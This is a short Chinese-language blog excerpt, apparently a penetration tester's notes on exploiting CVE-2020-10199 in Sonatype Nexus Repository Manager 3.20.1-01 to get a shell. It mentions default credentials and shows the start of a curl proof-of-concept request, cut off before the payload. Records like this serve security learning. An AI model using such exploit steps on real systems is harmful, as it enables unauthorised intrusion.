CVE-2020-10199

CVE-2020-10199 之前在 PT 的時候，遇到了目標環境中有架設 Nexus Repository Manager，踩了一些坑最後還是拿到 Shell 了。 稍微做個紀錄，未來有用到就比較方便回顧。 目標版本: Sonatype Nexus Repository Manager OSS 3.20.1-01 拿 PoC 測試 Code Execution 確認漏洞存在. 注: 此時是登入 session 的, 因為剛好有發現到目標環境 default credential 問題 root@kitploit: curl -i -s -k -X $'POST' \ -H $'Host...